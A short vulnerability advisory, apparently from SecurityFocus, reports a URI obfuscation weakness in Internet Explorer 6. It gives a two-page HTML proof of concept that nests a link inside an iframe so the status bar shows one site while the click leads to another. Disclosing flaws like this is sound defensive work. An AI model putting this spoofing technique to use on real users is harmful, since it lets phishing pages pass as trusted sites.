source: http://www.securityfocus.com/bid/11590/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6, other versions might also be affected.

HTML code for page #1 called "btf.htm":

<a href="http://www.microsoft.com/">
<iframe src="./btf-spoofing.htm" frameborder="0" scrolling="no" width="70"
height="25" marginheight="0" marginwidth="0"></iframe>
</a>

HTML code for page #2 called "btf-spoofing.htm":

<a href="http://www.google.com/" target="_top">Click here</a>